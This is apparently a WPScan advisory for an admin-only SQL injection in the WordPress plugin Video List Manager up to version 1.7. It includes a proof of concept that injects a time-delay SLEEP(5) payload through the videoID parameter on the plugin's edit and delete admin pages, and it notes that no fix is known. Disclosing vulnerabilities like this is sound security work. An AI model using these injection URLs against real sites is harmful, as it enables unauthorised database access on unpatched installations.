WordPress Plugin Vulnerabilities
Video List Manager <= 1.7 - Admin+ SQL Injection
Description
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin
Proof of Concept
SELECT query: 1. Log in as admin. 2. Visit the following path on the site: `/wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP%285%29` 3. The browser will take 5 seconds to respond. DELETE query: 1. Log in as admin. 2. Visit the following path on the site: `/wp-admin/admin.php?page=tnt_video_del_page&videoID=SLEEP%285%29` 3. Click the "Yes" button. 4. The browser will take 5 seconds to respond.
Affects Plugins
No known fix References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
zhangyunpei and Yeting Li VARAS@IIE
Submitter
zhangyunpei
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-04-17 (about 7 months ago)
Added
2023-04-17 (about 7 months ago)
Last Updated
2023-04-17 (about 7 months ago)
WPScan 